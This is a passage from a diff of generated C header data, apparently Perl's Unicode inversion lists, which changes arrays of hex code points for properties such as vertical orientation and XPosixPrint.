0x4AA, + 0x4AB, + 0x4AC, + 0x4AD, + 0x4AE, + 0x4AF, + 0x4B0, + 0x4B1, + 0x4B2, + 0x4B3, + 0x4B4, + 0x4B5, + 0x4B6, + 0x4B7, + 0x4B8, + 0x4B9, + 0x4BA, + 0x4BB, + 0x4BC, + 0x4BD, + 0x4BE, + 0x4BF, + 0x4C0, + 0x4C2, + 0x4C3, + 0x4C4, + 0x4C5, + 0x4C6, + 0x4C7, + 0x4C8, + 0x4C9, + 0x4CA, + 0x4CB, + 0x4CC, + 0x4CD, + 0x4CE, + 0x4D0, + 0x4D1, + 0x4D2, + 0x4D3, + 0x4D4, + 0x4D5, + 0x4D6, + 0x4D7, + 0x4D8, + 0x4D9, + 0x4DA, + 0x4DB, + 0x4DC, + 0x4DD, + 0x4DE, + 0x4DF, + 0x4E0, + 0x4E1, + 0x4E2, + 0x4E3, + 0x4E4, + 0x4E5, + 0x4E6, + 0x4E7, + 0x4E8, + 0x4E9, + 0x4EA, + 0x4EB, + 0x4EC, + 0x4ED, + 0x4EE, + 0x4EF, + 0x4F0, + 0x4F1, + 0x4F2, + 0x4F3, + 0x4F4, + 0x4F5, + 0x4F6, + 0x4F7, + 0x4F8, + 0x4F9, + 0x4FA, + 0x4FB, + 0x4FC, + 0x4FD, + 0x4FE, + 0x4FF, + 0x500, + 0x501, + 0x502, + 0x503, + 0x504, + 0x505, + 0x506, + 0x507, + 0x508, + 0x509, + 0x50A, + 0x50B, + 0x50C, + 0x50D, + 0x50E, + 0x50F, + 0x510, + 0x511, + 0x512, + 0x513, + 0x514, + 0x515, + 0x516, + 0x517, + 0x518, + 0x519, + 0x51A, + 0x51B, + 0x51C, + 0x51D, + 0x51E, + 0x51F, + 0x520, + 0x521, + 0x522, + 0x523, + 0x524, + 0x525, + 0x526, + 0x527, + 0x528, + 0x529, + 0x52A, + 0x52B, + 0x52C, + 0x52D, + 0x52E, + 0x52F, + 0x530, + 0x561, + 0x588, + 0x13F8, + 0x13FE, + 0x1C80, + 0x1C89, + 0x1D00, + 0x1DC0, + 0x1E01, + 0x1E02, + 0x1E03, + 0x1E04, + 0x1E05, + 0x1E06, + 0x1E07, + 0x1E08, + 0x1E09, + 0x1E0A, + 0x1E0B, + 0x1E0C, + 0x1E0D, + 0x1E0E, + 0x1E0F, + 0x1E10, + 0x1E11, + 0x1E12, + 0x1E13, + 0x1E14, + 0x1E15, + 0x1E16, + 0x1E17, + 0x1E18, + 0x1E19, + 0x1E1A, + 0x1E1B, + 0x1E1C, + 0x1E1D, + 0x1E1E, + 0x1E1F, + 0x1E20, + 0x1E21, + 0x1E22, + 0x1E23, + 0x1E24, + 0x1E25, + 0x1E26, + 0x1E27, + 0x1E28, + 0x1E29, + 0x1E2A, + 0x1E2B, + 0x1E2C, + 0x1E2D, + 0x1E2E, + 0x1E2F, + 0x1E30, + 0x1E31, + 0x1E32, + 0x1E33, + 0x1E34, + 0x1E35, + 0x1E36, + 0x1E37, + 0x1E38, + 0x1E39, + 0x1E3A, + 0x1E3B, + 0x1E3C, + 0x1E3D, + 0x1E3E, + 0x1E3F, + 0x1E40, + 0x1E41, + 0x1E42, + 0x1E43, + 0x1E44, + 0x1E45, + 0x1E46, + 0x1E47, + 0x1E48, + 0x1E49, + 0x1E4A, + 0x1E4B, + 0x1E4C, + 0x1E4D, + 0x1E4E, + 0x1E4F, + 0x1E50, + 0x1E51, + 0x1E52, + 0x1E53, + 0x1E54, + 0x1E55, + 0x1E56, + 0x1E57, + 0x1E58, + 0x1E59, + 0x1E5A, + 0x1E5B, + 0x1E5C, + 0x1E5D, + 0x1E5E, + 0x1E5F, + 0x1E60, + 0x1E61, + 0x1E62, + 0x1E63, + 0x1E64, + 0x1E65, + 0x1E66, + 0x1E67, + 0x1E68, + 0x1E69, + 0x1E6A, + 0x1E6B, + 0x1E6C, + 0x1E6D, + 0x1E6E, + 0x1E6F, + 0x1E70, + 0x1E71, + 0x1E72, + 0x1E73, + 0x1E74, + 0x1E75, + 0x1E76, + 0x1E77, + 0x1E78, + 0x1E79, + 0x1E7A, + 0x1E7B, + 0x1E7C, + 0x1E7D, + 0x1E7E, + 0x1E7F, + 0x1E80, + 0x1E81, + 0x1E82, + 0x1E83, + 0x1E84, + 0x1E85, + 0x1E86, + 0x1E87, + 0x1E88, + 0x1E89, + 0x1E8A, + 0x1E8B, + 0x1E8C, + 0x1E8D, + 0x1E8E, + 0x1E8F, + 0x1E90, + 0x1E91, + 0x1E92, + 0x1E93, + 0x1E94, + 0x1E95, + 0x1E9E, + 0x1E9F, + 0x1EA0, + 0x1EA1, + 0x1EA2, + 0x1EA3, + 0x1EA4, + 0x1EA5, + 0x1EA6, + 0x1EA7, + 0x1EA8, + 0x1EA9, + 0x1EAA, + 0x1EAB, + 0x1EAC, + 0x1EAD, + 0x1EAE, + 0x1EAF, + 0x1EB0, + 0x1EB1, + 0x1EB2, + 0x1EB3, + 0x1EB4, + 0x1EB5, + 0x1EB6, + 0x1EB7, + 0x1EB8, + 0x1EB9, + 0x1EBA, + 0x1EBB, + 0x1EBC, + 0x1EBD, + 0x1EBE, + 0x1EBF, + 0x1EC0, + 0x1EC1, + 0x1EC2, + 0x1EC3, + 0x1EC4, + 0x1EC5, + 0x1EC6, + 0x1EC7, + 0x1EC8, + 0x1EC9, + 0x1ECA, + 0x1ECB, + 0x1ECC, + 0x1ECD, + 0x1ECE, + 0x1ECF, + 0x1ED0, + 0x1ED1, + 0x1ED2, + 0x1ED3, + 0x1ED4, + 0x1ED5, + 0x1ED6, + 0x1ED7, + 0x1ED8, + 0x1ED9, + 0x1EDA, + 0x1EDB, + 0x1EDC, + 0x1EDD, + 0x1EDE, + 0x1EDF, + 0x1EE0, + 0x1EE1, + 0x1EE2, + 0x1EE3, + 0x1EE4, + 0x1EE5, + 0x1EE6, + 0x1EE7, + 0x1EE8, + 0x1EE9, + 0x1EEA, + 0x1EEB, + 0x1EEC, + 0x1EED, + 0x1EEE, + 0x1EEF, + 0x1EF0, + 0x1EF1, + 0x1EF2, + 0x1EF3, + 0x1EF4, + 0x1EF5, + 0x1EF6, + 0x1EF7, + 0x1EF8, + 0x1EF9, + 0x1EFA, + 0x1EFB, + 0x1EFC, + 0x1EFD, + 0x1EFE, + 0x1EFF, + 0x1F08, + 0x1F10, + 0x1F16, + 0x1F20, + 0x1F28, + 0x1F30, + 0x1F38, + 0x1F40, + 0x1F46, + 0x1F50, + 0x1F58, + 0x1F60, + 0x1F68, + 0x1F70, + 0x1F7E, + 0x1F80, + 0x1F88, + 0x1F90, + 0x1F98, + 0x1FA0, + 0x1FA8, + 0x1FB0, + 0x1FB5, + 0x1FB6, + 0x1FB8, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FC8, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FD8, + 0x1FE0, + 0x1FE8, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FF8, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, 0x210A, - 0x210F, + 0x210B, + 0x210E, 0x2110, 0x2113, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, + 0x2114, 0x212F, + 0x2130, + 0x2134, 0x2135, - 0x2140, - 0x2145, - 0x214B, - 0x214C, + 0x2139, + 0x213A, + 0x213C, + 0x213E, + 0x2146, + 0x214A, 0x214E, 0x214F, - 0x218A, - 0x218C, - 0x2190, - 0x221E, - 0x221F, - 0x2234, - 0x2236, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2324, - 0x232C, - 0x237D, - 0x239B, - 0x23BE, - 0x23CE, - 0x23CF, - 0x23D0, - 0x23D1, - 0x23DC, - 0x23E2, - 0x2423, - 0x2424, - 0x2500, - 0x25A0, - 0x261A, - 0x2620, - 0x2768, - 0x2776, - 0x2794, - 0x2B12, - 0x2B30, - 0x2B50, - 0x2B5A, - 0x2BB8, - 0x2BD2, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2E80, - 0xA4D0, - 0xA960, - 0xA980, - 0xAC00, - 0xD800, - 0xE000, + 0x2170, + 0x2180, + 0x2184, + 0x2185, + 0x24D0, + 0x24EA, + 0x2C30, + 0x2C5F, + 0x2C61, + 0x2C62, + 0x2C65, + 0x2C67, + 0x2C68, + 0x2C69, + 0x2C6A, + 0x2C6B, + 0x2C6C, + 0x2C6D, + 0x2C71, + 0x2C72, + 0x2C73, + 0x2C75, + 0x2C76, + 0x2C7E, + 0x2C81, + 0x2C82, + 0x2C83, + 0x2C84, + 0x2C85, + 0x2C86, + 0x2C87, + 0x2C88, + 0x2C89, + 0x2C8A, + 0x2C8B, + 0x2C8C, + 0x2C8D, + 0x2C8E, + 0x2C8F, + 0x2C90, + 0x2C91, + 0x2C92, + 0x2C93, + 0x2C94, + 0x2C95, + 0x2C96, + 0x2C97, + 0x2C98, + 0x2C99, + 0x2C9A, + 0x2C9B, + 0x2C9C, + 0x2C9D, + 0x2C9E, + 0x2C9F, + 0x2CA0, + 0x2CA1, + 0x2CA2, + 0x2CA3, + 0x2CA4, + 0x2CA5, + 0x2CA6, + 0x2CA7, + 0x2CA8, + 0x2CA9, + 0x2CAA, + 0x2CAB, + 0x2CAC, + 0x2CAD, + 0x2CAE, + 0x2CAF, + 0x2CB0, + 0x2CB1, + 0x2CB2, + 0x2CB3, + 0x2CB4, + 0x2CB5, + 0x2CB6, + 0x2CB7, + 0x2CB8, + 0x2CB9, + 0x2CBA, + 0x2CBB, + 0x2CBC, + 0x2CBD, + 0x2CBE, + 0x2CBF, + 0x2CC0, + 0x2CC1, + 0x2CC2, + 0x2CC3, + 0x2CC4, + 0x2CC5, + 0x2CC6, + 0x2CC7, + 0x2CC8, + 0x2CC9, + 0x2CCA, + 0x2CCB, + 0x2CCC, + 0x2CCD, + 0x2CCE, + 0x2CCF, + 0x2CD0, + 0x2CD1, + 0x2CD2, + 0x2CD3, + 0x2CD4, + 0x2CD5, + 0x2CD6, + 0x2CD7, + 0x2CD8, + 0x2CD9, + 0x2CDA, + 0x2CDB, + 0x2CDC, + 0x2CDD, + 0x2CDE, + 0x2CDF, + 0x2CE0, + 0x2CE1, + 0x2CE2, + 0x2CE3, + 0x2CE5, + 0x2CEC, + 0x2CED, + 0x2CEE, + 0x2CEF, + 0x2CF3, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0xA641, + 0xA642, + 0xA643, + 0xA644, + 0xA645, + 0xA646, + 0xA647, + 0xA648, + 0xA649, + 0xA64A, + 0xA64B, + 0xA64C, + 0xA64D, + 0xA64E, + 0xA64F, + 0xA650, + 0xA651, + 0xA652, + 0xA653, + 0xA654, + 0xA655, + 0xA656, + 0xA657, + 0xA658, + 0xA659, + 0xA65A, + 0xA65B, + 0xA65C, + 0xA65D, + 0xA65E, + 0xA65F, + 0xA660, + 0xA661, + 0xA662, + 0xA663, + 0xA664, + 0xA665, + 0xA666, + 0xA667, + 0xA668, + 0xA669, + 0xA66A, + 0xA66B, + 0xA66C, + 0xA66D, + 0xA66E, + 0xA681, + 0xA682, + 0xA683, + 0xA684, + 0xA685, + 0xA686, + 0xA687, + 0xA688, + 0xA689, + 0xA68A, + 0xA68B, + 0xA68C, + 0xA68D, + 0xA68E, + 0xA68F, + 0xA690, + 0xA691, + 0xA692, + 0xA693, + 0xA694, + 0xA695, + 0xA696, + 0xA697, + 0xA698, + 0xA699, + 0xA69A, + 0xA69B, + 0xA69E, + 0xA723, + 0xA724, + 0xA725, + 0xA726, + 0xA727, + 0xA728, + 0xA729, + 0xA72A, + 0xA72B, + 0xA72C, + 0xA72D, + 0xA72E, + 0xA72F, + 0xA732, + 0xA733, + 0xA734, + 0xA735, + 0xA736, + 0xA737, + 0xA738, + 0xA739, + 0xA73A, + 0xA73B, + 0xA73C, + 0xA73D, + 0xA73E, + 0xA73F, + 0xA740, + 0xA741, + 0xA742, + 0xA743, + 0xA744, + 0xA745, + 0xA746, + 0xA747, + 0xA748, + 0xA749, + 0xA74A, + 0xA74B, + 0xA74C, + 0xA74D, + 0xA74E, + 0xA74F, + 0xA750, + 0xA751, + 0xA752, + 0xA753, + 0xA754, + 0xA755, + 0xA756, + 0xA757, + 0xA758, + 0xA759, + 0xA75A, + 0xA75B, + 0xA75C, + 0xA75D, + 0xA75E, + 0xA75F, + 0xA760, + 0xA761, + 0xA762, + 0xA763, + 0xA764, + 0xA765, + 0xA766, + 0xA767, + 0xA768, + 0xA769, + 0xA76A, + 0xA76B, + 0xA76C, + 0xA76D, + 0xA76E, + 0xA76F, + 0xA779, + 0xA77A, + 0xA77B, + 0xA77C, + 0xA77D, + 0xA77F, + 0xA780, + 0xA781, + 0xA782, + 0xA783, + 0xA784, + 0xA785, + 0xA786, + 0xA787, + 0xA788, + 0xA78C, + 0xA78D, + 0xA78E, + 0xA78F, + 0xA791, + 0xA792, + 0xA793, + 0xA796, + 0xA797, + 0xA798, + 0xA799, + 0xA79A, + 0xA79B, + 0xA79C, + 0xA79D, + 0xA79E, + 0xA79F, + 0xA7A0, + 0xA7A1, + 0xA7A2, + 0xA7A3, + 0xA7A4, + 0xA7A5, + 0xA7A6, + 0xA7A7, + 0xA7A8, + 0xA7A9, + 0xA7AA, + 0xA7B5, + 0xA7B6, + 0xA7B7, + 0xA7B8, + 0xA7F8, + 0xA7FB, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, + 0xABC0, 0xFB00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE49, - 0xFE50, - 0xFE58, - 0xFE59, - 0xFE63, - 0xFE67, - 0xFE70, - 0xFF01, - 0xFF0D, - 0xFF0E, - 0xFF1C, - 0xFF1F, - 0xFF61, - 0xFFE0, - 0xFFE8, - 0xFFF0, - 0xFFF9, - 0xFFFC, - 0xFFFE, - 0x10980, - 0x109A0, - 0x11580, - 0x11600, - 0x11A00, - 0x11AB0, - 0x13000, - 0x13430, - 0x14400, - 0x14680, - 0x16FE0, - 0x18B00, - 0x1B000, - 0x1B130, - 0x1B170, - 0x1B300, - 0x1D000, - 0x1D200, - 0x1D300, - 0x1D380, - 0x1D800, - 0x1DAB0, - 0x1F000, - 0x1F800, - 0x1F900, - 0x1FA00, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_VO__TR_invlist[] = { /* for all charsets */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2329, - 0x232B, - 0x3008, - 0x3012, - 0x3014, - 0x3020, - 0x3030, - 0x3031, - 0x30A0, - 0x30A1, - 0x30FC, - 0x30FD, - 0xFE59, - 0xFE5F, - 0xFF08, - 0xFF0A, - 0xFF1A, - 0xFF1C, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF3F, - 0xFF40, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFF41, 0xFF5B, - 0xFF61, - 0xFFE3, - 0xFFE4 -}; - -static const UV PL_VO__TU_invlist[] = { /* for all charsets */ - 69, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3001, - 0x3003, - 0x3041, - 0x3042, - 0x3043, - 0x3044, - 0x3045, - 0x3046, - 0x3047, - 0x3048, - 0x3049, - 0x304A, - 0x3063, - 0x3064, - 0x3083, - 0x3084, - 0x3085, - 0x3086, - 0x3087, - 0x3088, - 0x308E, - 0x308F, - 0x3095, - 0x3097, - 0x309B, - 0x309D, - 0x30A1, - 0x30A2, - 0x30A3, - 0x30A4, - 0x30A5, - 0x30A6, - 0x30A7, - 0x30A8, - 0x30A9, - 0x30AA, - 0x30C3, - 0x30C4, - 0x30E3, - 0x30E4, - 0x30E5, - 0x30E6, - 0x30E7, - 0x30E8, - 0x30EE, - 0x30EF, - 0x30F5, - 0x30F7, - 0x3127, - 0x3128, - 0x31F0, - 0x3200, - 0x3300, - 0x3358, - 0x337B, - 0x3380, - 0xFE50, - 0xFE53, - 0xFF01, - 0xFF02, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1F, - 0xFF20, - 0x1F200, - 0x1F202 + 0x10428, + 0x10450, + 0x104D8, + 0x104FC, + 0x10CC0, + 0x10CF3, + 0x118C0, + 0x118E0, + 0x1D41A, + 0x1D434, + 0x1D44E, + 0x1D455, + 0x1D456, + 0x1D468, + 0x1D482, + 0x1D49C, + 0x1D4B6, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D4D0, + 0x1D4EA, + 0x1D504, + 0x1D51E, + 0x1D538, + 0x1D552, + 0x1D56C, + 0x1D586, + 0x1D5A0, + 0x1D5BA, + 0x1D5D4, + 0x1D5EE, + 0x1D608, + 0x1D622, + 0x1D63C, + 0x1D656, + 0x1D670, + 0x1D68A, + 0x1D6A6, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6E2, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D71C, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D756, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D790, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CA, + 0x1D7CB, + 0x1D7CC, + 0x1E922, + 0x1E944 }; -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_VO__U_invlist[] = { /* for ASCII/Latin1 */ - 253, /* Number of elements */ +static const UV XPosixPrint_invlist[] = { /* for EBCDIC 1047 */ + 1281, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0xA7, - 0xA8, - 0xA9, - 0xAA, - 0xAE, - 0xAF, - 0xB1, - 0xB2, - 0xBC, - 0xBF, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2EA, - 0x2EC, - 0x1100, - 0x1200, - 0x1401, - 0x1680, + 0x40, + 0xFF, + 0x100, + 0x378, + 0x37A, + 0x380, + 0x384, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x530, + 0x531, + 0x557, + 0x559, + 0x560, + 0x561, + 0x588, + 0x589, + 0x58B, + 0x58D, + 0x590, + 0x591, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F5, + 0x600, + 0x61D, + 0x61E, + 0x70E, + 0x70F, + 0x74B, + 0x74D, + 0x7B2, + 0x7C0, + 0x7FB, + 0x800, + 0x82E, + 0x830, + 0x83F, + 0x840, + 0x85C, + 0x85E, + 0x85F, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9E6, + 0x9FC, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAE6, + 0xAF2, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB66, + 0xB78, + 0xB82, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBFB, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC64, + 0xC66, + 0xC70, + 0xC78, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD50, + 0xD54, + 0xD64, + 0xD66, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF5, + 0xE01, + 0xE3B, + 0xE3F, + 0xE5C, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF98, + 0xF99, + 0xFBD, + 0xFBE, + 0xFCD, + 0xFCE, + 0xFDB, + 0x1000, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, + 0x137D, + 0x1380, + 0x139A, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1400, + 0x169D, + 0x16A0, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1715, + 0x1720, + 0x1737, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17DE, + 0x17E0, + 0x17EA, + 0x17F0, + 0x17FA, + 0x1800, + 0x180F, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, 0x18B0, + 0x18F6, 0x1900, - 0x2016, - 0x2017, - 0x2020, - 0x2022, - 0x2030, - 0x2032, - 0x203B, - 0x203D, - 0x2042, - 0x2043, - 0x2047, - 0x204A, - 0x2051, - 0x2052, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1940, + 0x1941, + 0x1944, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DB, + 0x19DE, + 0x1A1C, + 0x1A1E, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA0, + 0x1AAE, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B4C, + 0x1B50, + 0x1B7D, + 0x1B80, + 0x1BF4, + 0x1BFC, + 0x1C38, + 0x1C3B, + 0x1C4A, + 0x1C4D, + 0x1C89, + 0x1CC0, + 0x1CC8, + 0x1CD0, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DF6, + 0x1DFB, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FC5, + 0x1FC6, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FDD, + 0x1FF0, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFF, + 0x2000, + 0x2028, + 0x202A, 0x2065, 0x2066, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, + 0x2072, + 0x2074, + 0x208F, + 0x2090, + 0x209D, + 0x20A0, + 0x20BF, + 0x20D0, + 0x20F1, 0x2100, - 0x2102, - 0x2103, - 0x210A, - 0x210F, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2135, - 0x2140, - 0x2145, - 0x214B, - 0x214C, - 0x214E, - 0x214F, - 0x218A, 0x218C, 0x2190, - 0x221E, - 0x221F, - 0x2234, - 0x2236, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2324, - 0x2329, - 0x232B, - 0x232C, - 0x237D, - 0x239B, - 0x23BE, - 0x23CE, - 0x23CF, - 0x23D0, - 0x23D1, - 0x23DC, - 0x23E2, - 0x2423, - 0x2424, - 0x2500, - 0x25A0, - 0x261A, - 0x2620, - 0x2768, - 0x2776, - 0x2794, - 0x2B12, - 0x2B30, - 0x2B50, - 0x2B5A, - 0x2BB8, + 0x23FF, + 0x2400, + 0x2427, + 0x2440, + 0x244B, + 0x2460, + 0x2B74, + 0x2B76, + 0x2B96, + 0x2B98, + 0x2BBA, + 0x2BBD, + 0x2BC9, + 0x2BCA, 0x2BD2, - 0x2BD3, 0x2BEC, 0x2BF0, 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CF4, + 0x2CF9, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D71, + 0x2D7F, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E45, 0x2E80, - 0x3001, - 0x3003, - 0x3008, - 0x3012, - 0x3014, - 0x3020, - 0x3030, - 0x3031, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, + 0x3000, + 0x3040, 0x3041, - 0x3042, - 0x3043, - 0x3044, - 0x3045, - 0x3046, - 0x3047, - 0x3048, - 0x3049, - 0x304A, - 0x3063, - 0x3064, - 0x3083, - 0x3084, - 0x3085, - 0x3086, - 0x3087, - 0x3088, - 0x308E, - 0x308F, - 0x3095, 0x3097, - 0x309B, - 0x309D, - 0x30A0, - 0x30A2, - 0x30A3, - 0x30A4, - 0x30A5, - 0x30A6, - 0x30A7, - 0x30A8, - 0x30A9, - 0x30AA, - 0x30C3, - 0x30C4, - 0x30E3, - 0x30E4, - 0x30E5, - 0x30E6, - 0x30E7, - 0x30E8, - 0x30EE, - 0x30EF, - 0x30F5, - 0x30F7, - 0x30FC, - 0x30FD, - 0x3127, - 0x3128, + 0x3099, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x3190, + 0x31BB, + 0x31C0, + 0x31E4, 0x31F0, - 0x3200, + 0x321F, + 0x3220, + 0x32FF, 0x3300, - 0x3358, - 0x337B, - 0x3380, + 0x4DB6, + 0x4DC0, + 0x9FD6, + 0xA000, + 0xA48D, + 